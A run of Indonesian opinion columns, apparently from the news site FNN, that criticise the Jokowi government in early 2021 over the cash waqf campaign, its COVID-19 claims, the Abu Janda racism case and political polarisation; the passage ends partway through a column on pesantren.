Luar biasa potensinya, sehingga perlu meluncurkan gerakan. Akan tetapi, lagi-lagi masyarakat sinis atas gerakan ini. Padahal, gerakan ini bernilai ibadah. Tahun 2002 Majelis Ulama Indonesia telah mengeluarkan fatwa mengenai dibolehkannya wakaf uang. Masyarakat malah mengeluarkan nada mengolok-olok. "Kalau uang wakaf mau, uang umat mau. Tetapi, umat seringkali dituduh macam-macam, dituduh radikal dan intoleran," demikian antar lain kalimat yang dapat dibaca di dunia maya. Padahal, sekali lagi wakaf itu bagian dari ibadah. Akan tetapi, rakyat terutama sebagian besar umat Islam terlanjur tidak percaya. Umat Islam lebih percaya wakaf langsung disalurkan ke ormas Islam yang juga membangun sarana pendidikan dan ke majelis taklim. Umat Islam lebih senang menyalurkan wakaf, infak dan sedekah pada pembangunan sarana ibadah masjid dan musala, seperti yang selama ini dilakukan. Toh, kalau ditotal-total, sudah berapa banyak dana wakaf, infak dan sedekah yang terkumpul selama ini. Anda hitung saja jumlah masjid dan musola yang ada, jumlah pesantren dan sarana pendidikan Islam lainnya. Dari wakaf tanah saja, nilainya tidak hanya beribu-ribu triliun rupiah, tetapi bisa puluhan ribu triliun rupiah, dan bahkan ratusan ribu triliun rupiah. Belum lagi nilai bangunannya, dan sarana pendukungnya. Kok wakaf uang ditolak umat? Ya, karena momentum peluncuran gerakan itu tidak tepat. Tidak mau beribadah dengan wakaf uang juga menyangkut ketidakpercayaan umat kepada pengelola keuangan negara. **

Abu Janda Ditangkap? Anda Pasti Sedang Bermimpi atau Berkhayal

by Asyari Usman Medan, FNN - Tiba-tiba saja banyak yang berharap, dan yakin, Polisi kali ini akan menjebloskan Permadi Arya alias Abu Janda ke penjara. Alasannya banyak. Si Abu sudah sangat keterlaluan. Kali ini dia diduga melakukan “multiple crimes” (banyak tindak pidana). Rasis (SARA) terhadap tokoh Papua, Natalius Pigai. Terus, dia juga dituduh menistakan Islam sebagai agama arogan. Tuduhan-tuduhan ini tentu sangat serius. Khususnya perbuatan rasis terhadap Pigai. Ini bisa mengancam persatuan bangsa dan negara. Si Abu tak bisa mengelak lagi. Begitu juga kasus Islam agama arogan. Ini pun sangat berbahaya kalau dibiarkan. Plus, kasus-kasus peti-es yang cukup banyak selama ini. Kesimpulannya: pasti dia kena kali ini. Itu dari sisi dugaan tindak pidana. Dari sisi pelapor, lebih seru lagi. Membuat semua orang bersemangat. Seolah-oleh si Abu tak berkutik. Ketua Umum KNPI Haris Pertama melaporkan ke Polisi. Semua parpol di DPR mendukung, kecuali satu-dua. Belum lagi komentar-komentar keras dari para tokoh NU –ormas yang selama ini dibawa-bawa si Abu sebagai tempat berlindung. Ketua KNPI tidak tanggung-tanggung. Dia akan mundur kalau Abu Janda tidak diproses. Sekjen PBNU Helmy Faishal Zaini ikut memojokkan si Abu. Terus, Bu Susi Pudjiastuti (mantan Menteri Kelautan) ikut juga memberatkan pegiat medsos yang sangat tak disukai banyak orang itu. Bu Susi mengajak netizen agar ‘unfollow’ akun Abu Janda. Tentu pukulan Bu Susi ini mencerminkan semua orang dibuat resah oleh Abu Janda. Pokoknya, kali ini Abu Janda selesai. Klar. Tak mungkin lolos lagi. Tambahan pula, dia sendiri menghapus cuitan rasis terhadap Pigai. Ini dianggap sebagai bentuk ketakutan si Abu. Dengan alasan-alasan inilah publik berharap Polisi akan memborgol si Abu sambil pakai rompi oranye. Publik mungkin tidak sekadar berharap. Tapi yakin akan diproses. Masyarakat begitu bersemangat. Tak lama lagi Abu Janda meringkuk di penjara. Nah, ini dia. Sebaiknya, jangan dulu keluarkan harapan Anda itu. Kalau pun dikeluarkan, pelan-pelan dulu. Jangan cepat-cepat percaya Abu Janda kali ini akan ditangkap. Kali ini dia tak bisa berkelit. Karena sudah sangat keterlaluan. Kalau sekadar bermimpi dia masuk penjara, wajar. Namanya juga mengimpikan sesuatu. Apalagi kalau cuma berhayal dia masuk penjara. Ini lebih pas lagi. Kenapa pesimis sekali, Bang? Lha, rupanya saudara-saudari semua optimis? Anda percaya Polisi akan berubah? Anda percaya Listyo Sigit Prabowo yang kemarin-kemarin mengurusi kasus-kasus buzzer dalam posisi Kabareskrim, tiba-tiba hari ini berubah drastis karena dia sekarang duduk sebagai Kapolri? Anda yakin Polisi akan sim-salabim, tidak lagi menjadi alat politik para penguasa? Anda yakin Listyo Sigit akan blokir nomor HP orang-orang kuat? Apakah mungkin Listyo menolak arahan para pelindung si Abu? Sekali lagi, kalau sebatas bermimpi Abu Janda masuk penjara, bisa dipahami. Karena sudah begitu lama perasaan Anda terpenda, ingin melihat kebal hukumnya si Abu, luntur. Tentu tidak salah berhalusinasi. Silakan saja. Gratis, kok. Cuma, untuk melihat si Abu masuk penjara tampaknya posisi panggang masih terlalu jauh dari api. Tak bakalan matang. Perlu 4-5 tahun baru masak. Harus tahan lapar sampai 2025. Atau, tak usah dipanggang kalau apinya kejauhan. Bisa digulai asam. Bisa juga disambal balado. Yang dikhawatirkan, Anda semua tak sabar. Panggangannya Anda giling, Anda jadikan makanan ternak.[] Penulis adalah Wartawan Senior FNN.co.id

Jokowi, Rocker NKRI yang Kehilangan Suara

by Jarot Espe Surabaya, FNN - Presiden Indonesia Jokowi itu rocker sejati. Vokalnya melengking tinggi menembus langit, dan kerap membuat lutut pendengarnya gemetar. Rock never die..!!! Penggemar musik cadas pasti paham, teriakan tersebut semacam sumpah setia mereka untuk terus mengibarkan rock. Dari Led Zeppelin yang legendaris, Queen kesayangan Pak Jokowi, hingga Linkin Park dan Gun's n Roses. Berkiblat pada rocker dunia, suara Pak Jokowi merupakan harga mati NKRI. Ia yakin pilihan lagunya, bertema UU Ciptaker, bakal nendang, meledak di pasaran. Seluruh negeri pun merespons dengan teriakan, bahkan tangisan. Persis seperti keyakinan Freedy Merkuri, Rocker Queen, yang bersikeras 'Bohemian Rhapsody' akan menjadi hit terkenal. Lagu ini nyaris batal dirilis karena sangat panjang dan alunan musiknya yang tidak biasa. Mirip cerita Bohemian Rhapsodi, karya lainnya yang disuarakan Pak Jokowi melintir beken ke penjuru Nusantara. Dalam industri musik, disebut booming. Deretan lagu beraliran rock, bahkan heavy metal, bisa dilihat kasat mata. Dengar saja kisahnya, sejak pembunuhan 6 laskar FPI, penahanan Habib Rizieq Shihab, hingga pembubaran FPI dimainkan dalam tempo cepat bernada tinggi. Seluruhnya menjadi koleksi album rocker kelahiran Solo ini. Anda masih ingat Robert Plant, rocker flamboyan Led Zeppelin yang mengagumi penyanyi mesir Ummi Kultsum? Plant sebelas-dua belas dengan Pak Jokowi. Beda-beda tipis. Perbedaan besarnya, yaitu, Plant bertahun-tahun melakukan observasi terhadap Ummi Kulzum. Sang rocker ingin menciptakan karya megah, sebagaimana dirasakan pada sosok idolanya. 'Starway to heaven' pun menjadi hits terkenal sepanjang zaman. Sebaliknya, rocker NKRI hanya fokus pada target, mengabaikan proses penciptaan. Pada album gerakan nasional waqaf uang, Sri Mulyani yang menjadi backing vokal Pak Jokowi mempercantik tampilan luar. Ia menggunakan kerudung saat menjelaskan misi waqaf uang. Tapi sejujurnya, pada album teranyar kali ini, sang rocker tidak mengindahkan perasaan audiens. Setelah berlalu para ulama ditangkapi, kok mendadak menggunakan konsep Islam untuk mengeruk dana umat Islam. Barangkali Pak Jokowi kehabisan narasi untuk dituangkan dalam karya-karyanya? Mengapa sampai terucap syair alhamdulilah, bukannya inna lillahi wa inna illahi rojiun ketika angka covid-19 di negeri ini tembus satu juta kasus? Atau mungkin Pak Jokowi dilanda demam panggung saat mengetahui lagu yang baru dirilis tidak direspons masyarakat? Entahlah. Yang sangat mungkin adalah para rocker dikenal sebagai pribadi introvert ketika turun panggung. Justru di sinilah kematangan seorang rocker. Jika terbiasa pentas live, vokal dan stamina benar-benar terjaga. Berbeda dengan penyanyi rekaman, yang segala kekurangan bisa diakali. Indikasi paling nyata adalah menyimak saat rocker muncul di panggung. Kilatan lampu membuat silau mata. Untuk mengukur berapa jumlah massa, sang rocker mendekatkan bibirnya ke mikrofon. Tesst..check sound.. satu..satu, dua, tigaaa...Stadion pun serasa mau runtuh saat massa merespons sang idola. Namun kali ini, lidah Pak Jokowi kelu. Ia tak mampu mengeluarkan satu kata pun. Pak Jokowi benar benar kehilangan suara. Penulis adalah Pemerhati Seni.

IDI Bingung, Statemen Presiden Beda dengan Realitanya

by Mochamad Toha Surabaya, FNN - Presiden Joko Widodo menyatakan pandemi telah terkendali. Ikatan Dokter Indonesia (IDI) bilang, bingung. Jumlah kasus di Indonesia sudah 1 juta, kalau dibuat rasio dengan jumlah penduduk, kita ranking 4 di ASEAN. Yakni: Singapura 1/100, Malaysia 1/165, Filipina 1/200, dan Indonesia 1/270. Sebanyak 65% kasus kita ada di Pulau Jawa. Kematian 2,8% (bukti ilmiah 2 - 3%). Harus diakui, penularan belum akan usai karena angka Ro masih > 1. “Jika Ro sdh < 1 maka berangsur-angsur kasus baru akan menuju angka 0. Usaha mengobati dengan terapi antivirus, terapi steroid, terapi antibodi monoklonal, dan terapi plasma,” tulis Prof. Yuwono, pakar mikrobiologi Universitas Sriwijaya, Palembang. Seperti dilansir Kompas.com, Rabu (27/1/2021), sebelumnya, Presiden Jokowi menyebut, sepanjang 2020 dan memasuki 2021 Indonesia menghadapi berbagai cobaan yang sangat berat. Salah satu ujian itu berupa pandemi Covid-19 yang mengakibatkan krisis kesehatan dan krisis ekonomi. Namun, Jokowi mengklaim, Indonesia bisa mengendalikan dua krisis itu dengan baik. “Kami bersyukur Indonesia termasuk negara yang bisa mengendalikan dua krisis tersebut dengan baik,” kata Jokowi dalam acara Sidang Majelis Pekerja Lengkap (MPL) Persekutuan Gereja-gereja (PGI) di Indonesia melalui tayangan YouTube Yakoma PGI. Ucapan “bersyukur” tersebut langsung direspon Ketua IDI DKI Jakarta Slamet Budiarto yang mempertanyakan pernyataan Presiden Jokowi tersebut yang menyebut pemerintah berhasil mengendalikan pandemi virus corona Covid-19. Slamet bingung parameter yang digunakan Jokowi saat menyebut pandemi terkendali. “Saya tidak paham Pak Jokowi menyatakan begitu. Mungkin dari sisi ekonomi, saya juga tidak tahu ekonomi seperti apa. Yang saya tahu dari sisi kesehatan,” katanya kepada Kompas.com. Slamet juga menegaskan, dari sisi kesehatan, pandemi jelas tak terkendali. Parameter pertama bisa dilihat dari angka kematian yang tinggi. Sampai Selasa lalu, masih ada penambahan 336 pasien Covid-19 yang meninggal dunia. Penambahan itu membuat total pasien Covid-19 meninggal jadi 28.468. “Angka kematian di kita tertinggi nomor 1 di negara Asean, baik presentase maupun jumlah. Saya perkirakan ini sampai akhir tahun ada kematian 100.000 orang sampai Desember 2021,” kata Slamet. Sementara itu, parameter kedua yang digunakan IDI adalah angka penularan kasus Covid-19. Sampai kemarin, ada penambahan 13.094 kasus baru. Penambahan tersebut membuat akumulasi kasus Covid-19 di Indonesia menembus satu juta kasus. Wakil Ketua Umum IDI ini pun mengaku tidak paham parameter yang digunakan Presiden sehingga menyebut kasus Covid-19 terkendali. “Ya mungkin Presiden punya parameter lain. Kalau parameter kami di IDI angka kematian dan infeksi,” ujar Slamet. Terlepas dari parameter yang digunakan, Slamet meminta pemerintah untuk fokus menangani pandemi dari sisi kesehatan agar korban bisa ditekan. Slamet mengaku sudah mengusulkan pada Menteri Kesehatan Budi Gunadi Sadikin agar pasien Covid-19 gejala ringan bisa dirawat di rumah masing-masing dengan pengawasan dokter umum. “Satu dokter kan bisa memantau 10 orang. Nanti bisa diberi insentif,” katanya. Dengan cara ini, maka rumah sakit tidak penuh. Ruang perawatan di rumah sakit bisa fokus digunakan untuk pasien gejala sedang dan berat. “Sekarang kan kematian meningkat karena RS overload,” ujar Slamet. Seorang dokter mencatat, Indonesia kembali melaporkan penambahan kasus Covid-19 itu yang tertinggi sejak terjadinya pandemi Covid-19 di tanah air, yaitu 14.518 jiwa. Penambahan 14.518 kasus tersebut menjadikan total kasus Corona di Indonesia menjadi 1.066.313. Berdasarkan data dari Satuan Tugas Penanganan Covid-19, jumlah spesimen yang diperiksa sepanjang 24 jam terakhir mencapai 70.026. Dengan 74.985 orang dinyatakan suspek Covid-19. Terjadi juga penambahan yang cukup banyak pada kasus harian sembuh dari Covid-19 yang mencapai 10.242. Sehingga totalnya menjadi 862.502 kasus. Penambahan pada kasus harian sebanyak itu membuat kasus aktif Covid-19 di Indonesia menjadi 174.083 atau 16,3 persen dari terkonfirmasi Virus Corona. Virusnya juga mungkin sudah bermutasi seperti yang terjadi di Inggris dan Afrika Selatan. Jadi, lebih mudah menular dan menyebar sehingga terjadi lonjakan pada jumlah orang yang terinfeksi. Disamping adanya pengaruh perubahan iklim. Pada musim penghujan suhu temperatur udara cenderung rendah/dingin sehingga virus bisa lebih survive! Pada musim hujan orang juga lebih sering berkumpul di ruangan tertutup jika dibanding di daerah terbuka untuk menghindari kehujanan. Atau efek kekurangan vitamin D karena matahari kurang bersinar dengan terik akibat lebih sering mendung pada musim hujan. Atau karena daya tahan tubuh lebih rendah pada musim hujan di banding musim kemarau akibatnya orang lebih rentan mengalami sakit. Varian Virus Corona baru penyebab Covid-19 dilaporkan telah muncul di berbagai penjuru dunia. Varian tersebut diklaim bersifat lebih mudah menular, sehingga sebagian pakar mengatakan kemungkinan butuh upaya ekstra untuk menekan laju penyebarannya. Mantan Direktur Pusat Pengendalian dan Pencegahan Penyakit Amerika Serikat (AS), Tom Frieden, menyarankan agar orang-orang memperbaiki kualitas masker yang biasa dipakai. Kehadiran virus yang lebih mudah menular menekankan pentingnya kita segera memperbaiki strategi. “Bukan lebih banyak melakukan protokol kesehatan yang sama, tetapi melakukan protokol yang sama dengan lebih baik,” ujarnya, seperti dikutip dari Washington Post, Jumat (29/1/2021). Ahli penyakit infeksius Anthony Fauci menyebut memakai dua lapis masker bisa jadi hal yang masuk akal untuk menambah efektivitasnya. Hanya saja diingatkan agar orang-orang memilih masker yang nyaman digunakan di tempat umum. “Ini seperti tragedi-tragedi Covid kita yang sebelumnya. Kita belum memiliki jawaban yang pasti, secara konstan harus berupaya memadamkan masalah, dan berharap agar masyarakat bisa bertindak mandiri,” ujar Abraar Karan, dokter dari Brigham and Women's Hospital. “Anda memang akan selalu membutuhkan masker yang lebih baik. Sejak dari awal kita butuh masker berkualitas yang baik,” pungkasnya, seperti dilansir Detik.com, Jumat (29 Jan 2021 10:25 WIB). Kabar terbaru, kasus Covid-19 yang terus meningkat membuat Indonesia kini menjadi negara dengan kasus aktif tertinggi di Asia melampaui jumlah kasus aktif di India yang sebelumnya tertinggi. Kasus aktif adalah jumlah orang yang masih dinyatakan positif terinfeksi Covid-19. Dari data Worldometer pada Minggu (31/1/2021), kasus aktif di Indonesia berjumlah 175.095 setelah bertambah 12.001 kasus baru pada hari ini. Seperti dilansir CNNIndonesia.com, Minggu (31/01/2021 18:08 WIB), jumlah ini menjadi yang terbanyak di Asia dan ke-15 di dunia. Sedangkan total kasus Covid-19 keseluruhan di Indonesia mencapai 1.078.314. Kasus aktif di Indonesia lebih tinggi dibandingkan India yang saat ini memiliki 169.654 kasus. Total kasus 10 kali lipat lebih tinggi dibandingkan Indonesia yakni tepatnya 10.747.091 kasus. Negara dengan kasus aktif tertinggi lainnya di Asia adalah Iran dengan 150.949 kasus dari 1.411.731 kasus keseluruhan. Selanjutnya, Libanon memiliki 117.410 kasus aktif dengan total kasus 298.913. Negara kelima di Asia dengan kasus aktif terbanyak adalah Turki yang saat ini memiliki 89.627 kasus aktif. Kasus positif Covid-19 di Indonesia terus meningkat sejak Januari 2021. Angka peningkatan kasus baru dalam setiap hari kerap menembus angka 10 ribu, bahkan mencapai lebih dari 14 ribu kasus. Jika memang demikian kenyataannya, dalam artian sebenarnya pandemi Covid-19 belum terkendali, sebaiknya Presiden Jokowi meminta maaf kepada rakyat Indonesia. Di samping itu, sudah selayaknya pula Pemerintah mendengarkan para pakar kesehatan. Hal itu dimaksudkan untuk lebih mengintensifkan protokol kesehatan dan mengedepankan penanganan pandemi yang manusiawi dan berkualitas, bukan hanya sekadar berwacana ini-itu untuk mengalihkan “kepanikan” dan kekurangmampuan. Penulis adalah Wartawan Senior FNN.co.id.

Ada Apa di Antara Hendropriyono, Abu Janda, dan Pigai?

PUBLIK negeri ini dibikin terkaget-kaget. Tidak ada hujan, tidak juga ada angin. Namun Abu Janda secara masif dan terang-terangan menyerang habis-habisan tokoh pegiat Keadialn dan Hak Asasi Manusia (HAM) Natalius Pigai, dengan prilaku yang sangat rasis. Anehnya, Pigai tidak sedikitpun menyerang balik Abu Janda. Pigai membiarkan publik untuk menilai sendiri prilaku Abu Janda yang sebenarnya. Abu Janda selama ini dikenal sebagai figur yang dekat dengan lingkaran Istana. Sehingga prilakuknya yang kadang melanggar hukum sekalipun, sulit disentuh aparat penegak hukum. Apalagi Abu Janda selalu memperkenalkan diri sebagai figur terdepan kader Banser, organ Gerakan Pemuda (GP) Ansor. Selalu menonjolkan diri sebagai yang paling Nahdatul Ulama (NU) melebihi orang NU asli. Perseteruan Abu Janda dengan Natalius Pigai bermula dari kritik Pigai kepada mantan Kepala Badan Intelijen Negara (BIN) Jendral TNI (Purn.) Kehormatan (Hor.) Hendropriyono di twitternya. Sebagai pegiat Keadilan dan HAM, Pigai mempertanyakan kapasitas Hendropriyono yang menyatakan “organisasi lain yang melindungi eks Front Pembela Islam (FPI) tunggu giliran”. “Organisasi pelindung eks FPI dan para provokator, tunggu giliran”, cuit Hendropriyono di akun twitternya. Walaupun demikian, dia tidak menyebutkan nama organisasi pelindung FPI yang dimaksud. Hendropriyono yakin masyarakart lega dengan pembubaran FPI. “Tanggal 30 Desember 2020 rakyat Indonesia merasa lega, karena mendapat hadiah berupa kebebasan dari rasa takut yang mencekam selama ini”, ujar Hendropriyono. Mennggapi pernyataan Hendropriyono yang bercitarasa ancaman ini, sebagai pegiat Keadilan dan HAM, Pigai mempertanyakan kapasitas Hdnropriyono sebagai Apa? Apakah sebagai Penasehat Presiden atau pengamat? “Ortu, maksudnya orang tua, mau tanya. Kapasitas bapak di negara ini sebagai apa ya? Penasehat Presiden? Pengamat? Aktivis? “Biarkan saja negara diurus oleh gen abad 21 yang egaliter, humanis, dan demokrat”, ujar Pigai. Pigai mengatakan, pernah ditawari Hendropriyono jabatan sebagai Wakil Kepala BIN dan Duta Besar. Akan tetapi tawaran tersebut ditolaknya. “Kami tidak butuh hadirnya dedengkot tua. Sebab itulah, tawaran sebagai Wakil Kepala BIN dan Duta Besar yang bapak tawarkan, saya tolak mentah-mentah. Maaf”, kata Pigai. Menanggapi pernyataan Pigai di akun twitternya inilah yang membuat Abu Janda naik pitam. Melalui akun twitternya @Permadiaktivis1, Abu Janda menaggapi Natalius Pigai yang mempertanyakan kapasitas dalam sebuah berita berjudul “Pigai ke Jendral Hendropriyono, apa kapasitas Bapak di negeri ini”. Abu Janda kemudian memaparkan sejumlah jabatan yang pernah dijabat Hendropriyono, baik semasa pemerintahan Presiden Soeharto, BJ. Habibie dan Megawati. Misalnya, sebagai Direktur BAIS di eranya Soeharto, Menteri Transmigrasi di eranya Habibie. Abu Janda lantas mempertanyakan kapasitas Pigai dalam ciutannya. Kau @NataliusPigai, apa kapasitas kau? Sudah selesai evolusi belum kau? Pernyataan Abu Janda soal “sudah selesai evolusi belum” inilah yang memicu kemarahan dari Dewan Pimpinan Pusat Komite Nasional Pemuda Indonesia (DPP KNPI). Ketua Umum DPP KNIP Haris Pratama bersama sejumlah pengurus lainya melaporkan Abu Janda ke Bareskrim Polri. Laporan DPP KNPI lantas mendapat dukungan dari berbagai lapisan masyarakat, terutama kaum Nahdiyin dan Parai Politik. Tidak kurang dari mantan Wakil Ketua Umum Pengurus Besar Nahdatul Ulama (PBNU) periode 2010-2015, KH As’ad Said Ali memberikan tanggapan atas prilaku Abu Janda. Selaku Ketua Dewan Penasehat GP Ansor, KH As’ad pernah mempertanyakan kepada pimpinan GP Ansor tentang Abu Janda setelah melihat Abu Janda bicara di televisi tentang NU. KH As’ad yang mantan Wakil Kepala BIN untuk tujuh Kepala BIN, sejak dari Letjen TNI. Moetayib di era Soeharto, sampai Letjen TNI Marciano Norman di akhir eranya Soesilo Bambang Yudhoyono (SBY) itu, berkesimpulan bahwa Abu Janda adalah orang yang sangaja disusupkan ke dalam Ansor dan NU. Untuk itu, perlu ditelusuri kenapa Abu Janda bisa ikut Pendidikan dan Latihan (Diklat) kader Asnor dan Banser. Setelah dicek, ternyata tidak ada rekomendasi dari Wilayah dan Cabang Ansor dan Banser untuk Abu Janda. Padahal rekomendasi Wilayah dan Cabang adalah syarat untuk bisa diterima sebagai peserta kaderisasi Ansor dan Banser. Namun setelahb ditelusuri lebih lanjut, Abu Janda diterima atas rekomendasi dari seorang tokoh penting NU. “Saya kira rekomendasi dari tokoh NU itu dengan peritmbangan prasangka baik. Tanpa mengecek ke dulu belakang siapa sebenarnya Abu Janda. Pimpinan Banser sudah menegur Abu Janda untuk tidak lagi bicara tentang NU atas nama Ansor. Beberapa media nasional juga sudah diingatkan untuk tidak lagi menggunakan Abu Janda untuk bicara atas nama NU. Masalahnya, Abu Janda suah terlanjur memakai seragam Banser di media. Sehingga publik menyangka dia bagian dari NU. Padahal fikrah dan akhlaknya bukan sebagai pengikut Ahli Sunnah Wal Jamaah (Aswaja). Dampak provokasi yang ditimbulkan di lingkungan NU selama ini cukup besar. Beberapa Pondok Pasantren sampai terusik. Ada yang sampai menjauh (mufarakah) dari struktur NU. Menurut KH As’ad, beberapa Pondok Pasantren di Daerah Bogor mufarakah dari struktur NU, karena yang disampaikan Abu Janda bertolak belakang dengan fikrah an nahdiyah. KH. As’ad mensinyalir masih ada Abu Janda-Abu Janda lain, yang berpura-pura membela NU melalui medosos. Tetapi sesuangguhnya meraka adalah musang berbulu ayam. Keras dan tegas sikap KH. As’ad kali ini. Padahal sebagai orang intel, KH As’ad jarang bicara ke publik. Namun sebagai nahdiyin asli, terpaksa KH As’ad memberikan saran kepada PBNU. “Bahwa sudah saatnya PBNU bersikap tegas secara resmi terhadap Abu Janda. Sebab dia memanfaatkan nama besar NU untuk kepentingan pribadi. Kondisi ini kalau dibiarkan, akan merusak keutuhan NU”, kata KH As’ad. Pertanyaannya, siapa orang yang telah berhasil menyusupkan Abu Janda ke tengah- NU? Sampai-sampai bisa mengakibatkan terjadinya mufarakah di internal NU? Lalu siapa juga orang yang berhasil meloby tokoh penting NU, sehingga bisa memberikan rekomendasi kepada Abu Janda untuk mengikuti Pendidikan dan Latihan (Diklat) Banser? Jangan cepat-cepat dulu berprasangka buruk (su'udzon). Meskipun Abu Janda sangat mengagumi Hendropriyono, yang biasa disapa dengan “Om Eddo” tersebut, sampai menyerang Natalius Pigai dengan tidak pantas. Namun belum tentu “Om Eddo” sebagai orang yang menyusupkan Abu Janda ke NU, sehingga berhasil menciptakan perpecahan di internal NU. Berprasangka baik (husnudzon) juga penting. Sebaiknya juga jangan dulu ber-su’udzon kepada “Om Eddo”, karena berburuk sangka itu adalah dosa. Mungkin lebih baik bertanyalah saja kepada tokoh penting NU yang memberikan rekomendasi kepada Abu Janda mengikuti Diklat Banser. KH As’ad tentu saja yang paling tau siapa tokoh penting NU tersebut?

Bangsa Terbelah, Ini Sangat Menyedihkan

by Tony Rosyid Jakarta FNN - Kalah menang, itu biasa. Termasuk kalah menang dalam pemilu. Kalau yang kalah itu kecewa, wajar. Secara psikologis, ini manusiawi. Sebagian ada yang belum move on, harus juga dimaklumi sebagai wajar juga. Tugas kita, terutama pemenang, menyadarkan mereka yang belum move on itu. Menyapa dan merangkulnya. Jumlah mereka nggak banyak, dan mudah untuk dipulihkan. Yang menjadi masalah, dan soal ini cukup serius adalah, orang-orang yang melakukan kritik kepada pemerintah dituduh sebagai bagian dari kelompok yang belum move on. Dianggap sebaga kelompok mencari-cari kesalahan dan mau menjatuhkan wibawa pemerintah. Disini letak kesalahannya. Di tengah gendutnya koalisi penguasa, posisi pemerintah saat ini sangat kuat. Nyaris tidak terkontrol. Partai-partai nyaman dengan berbagai posisi dan bagiannya. DPR menjadi lumpuh. Tidak lagi punya gigih, kecuali hanya menjadi legitimator bagi keputusan dan kerja eksekutif. Ini sangat menyedihkan. DPR terburuk dalam sejarah demokrasi negeri ini. Pers dan mahasiswa juga tiarap. Disini, penguasa cenderung berprilaku semaunya. Banyak kebijakan yang tak aspiratif dan tidak sesuai dengan kepentingan rakyat. Kebjakan yang dibuat pemerintah lebih utama untuk menampung kepentingan oligarki dan konglomerasi licik, picik, culas, tamak dan rakus. Rakyat hanya menonton main pemerintah bersama oligarki dan konglomerasi. Dalam situasi seperti ini, pemerintah perlu diingatkan. Disini, perlu orang-orang yang kritis yang mau mengontrol kinerja dan memberi peringatan ketika ada kebijakan pemerintah yang keliru. Supaya ada check and balances. Supaya pemerintah tau kalau rakyat itu kritis. Sehingga pemerintah tidak asal-asalan dalam membuat kebijakan negara. Setiap rezim, selalu muncul orang-orang dan kelompok idealis. Mereka lahir untuk meluruskan arah kebijakan penguasa yang salah. Menembalikan penguasa kepada tujuan bernegara yang digariskan oleh para pendiri bangsa. Ini terjadi dari zaman awal kemerdekaan, hingga era reformasi. Dan saat ini, kita sedang menghadapi era neo-reformasi. Era yang berbeda sama sekali dari pra dan pasca reformasi. Sayangnya, munculnya kritik seringkali dianggap sebagai upaya menjatuhkan penguasa. Ini yang keliru. Jika kritik itu datang bukan dari kelompok pendukung, dituduh belum move on. Jika kritik berasal dari pendukung, dianggap sakit hati karena tak mendapat posisi. Gak ada yang bener. Parahnya, ada petugas khusus yang disiapkan untuk menghadapi para pengkritik ini. Mulai dari buzzer rupiah, hingga yang bertugas sebagai pelapor ke polisi. Mereka seperti "kebal hukum". Diduga kuat ada pihak yang melindungi mereka. Mereka bisa dengan leluasa mempolisikan siapa saja yang dianggap sebagai oposisi kepada kekuasan. Hebat sekali mereka. Sampai disini, keterbelahan yang sudah muncul saat pemilu, sekarang makin parah. Penguasa tidak terlihat merangkul pendukung yang kalah. Sementara kerja buzzer rupiah bekerja semakin masif untuk merusak tatanan persatuan dan kesatuan. Pancasila dan NKRI seringkali menjadi mainan narasi melawan kelompok pengeritik. Media dan medsos isinya penuh provokasi. Aksi dan reaksi kedua belah pihak terus mengambil sejarah kegaduhan bangsa ini. Istilah dan nama "binatang" sudah jadi identitas kebanggaan masing-masing kelompok. Sopan santun dan sikap saling menghargai sebagai ciri khas dan karakter bangsa mendadak hilang dari kehidupan kita. Mendadak dan cepat giganti dengan cacian dan kebencian. Sekedar analogi, jika di dalam rumah anda selalu terjadi keributan, jangan salahkan anak-anak. Tetapi, itu salah ayah dan ibunya. Mereka adalah orang tua yang diberi kepercayaan mengelola rumah tangga. Artinya, kalau ribut terus, berarti bapak-ibunya nggak becus urus itu rumah tangga. Negara adalah rumah tangga dalam bentuk yang lebih besar. Saat ini, setiap orang seolah dipaksa untuk memilih. Anda berada disini, atau berada disana? Kalau nggak disini, berarti anda musuh kami. Stigma ini membuat banyak intelektual kehilangan jati diri dan akal sehatnya. Agamawan telah dihadap-hadapkan dalam arena pro dan kontra. Yang pro dapat uang, yang kontra seringkali diancam. Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Eletronik (ITE) serta Keputusan Presiden (Kepres) Nomor 7/2021 tentang "Ektrimisme" yang dipikir bisa diharapkan jadi solusi, ternyata malah banyak kontradiksi. Bukannya mendamaikan atau menyatukan. Tetapi malah semakin menambah ketakutan dan keterbelahan anak bangsa. Lalu apa solusinya? Pertama, rangkul para pengkritik dengan cara mendengarkan mereka. Negara akan sehat jika kritik didengarkan. Jangan anggap mereka sebagai musuh. Kedua, hentikan buzzer rupiah yang terus membuat kegaduhan. Stop anggarannya, mereka akan berhenti. Sebab, operasional buzzer rupiah itu cukup besar. Tanpa biaya operasional, mereka nggak bisa beroperasi. Stop itu. Ketiga, hadirkan hukum untuk memberi rasa keadilan kepada semua rakyat. Jika demokrasi berjalan normal dan wajar, tidak ada lagi orang-orang sewaan yang bekerja untuk memproduksi kegaduhan di masyarakat. Hukum ditegakan di atas semua golongan, maka Indonesia akan menyuguhkan kenyamanan dan selamat dari keterbelahan. Sampai disini, kita bisa teriak bersama bahwa "NKRI Harga Mati". Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Merespon Krisis Ulama (Bacaan Ringan Akhir Pekan)

by Imam Shamsi Ali New York City FNN - Tanggal 29 Januari kemarin saya berkesempatan menjadi narasumber di webinar ke 12 LP2PPM (Lembaga Pengembangan Pondok Pesantren PP Muhammadiyah). Acara yang dihadiri oleh tokoh pendidik dan pimpinan Pondok pesantren Muhammadiyah se-Indonesia itu mengambil tema “Pesantren Muhammadiyah sebagai pusat kaderisasi ulama, antara realita, harapan dan tantangan”. Dalam presentasi yang bersifat spontan itu, saya menyampaikan beberapa hal. Antara lain, menekankan kembali bahwa Pondok pesantren adalah pusat pendidikan yang unik dan sejatinya menjadi institusi pendidikan alternatif disaat dunia mengalami kebingungan dan kegoncangan. Di pesantren para siswa atau siswi tidak saja menimba ilmu. Mereka juga belajar tentang kehidupan dan menjalani hidup. Saya juga kembali mengulangi hal yang selama ini sering saya sampaikan di banyak kesempatan. Bahwa sebagai putra bangsa, bagian dari negara dengan penduduk Muslim terbesar dunia yang telah lama tinggal di luar negeri, saya cukup kalau dengan kenyataan bahwa Muslim Indonesia kurang dikenal dan dipertimbangkan oleh dunia internasional. Termasuk dalam hal keilmuan dan Keulamaan. Pondok pesantren harus tampil untuk merespon kegalauan dari putra-putri bangsa seperti saya. Dalam rangka merespon itulah, saatnya Pondok pesantren ditampilkan secara “exceptional” (istimewa). Saatnya stigma pesantren sebagai sekolah orang-orang rendahan, pembuangan anak-anak nakal dan tidak mampu, harus dirubah. Untuk terwujudnya Pondok pesantren yang exceptional tersebut, beberapa hal harus menjadi 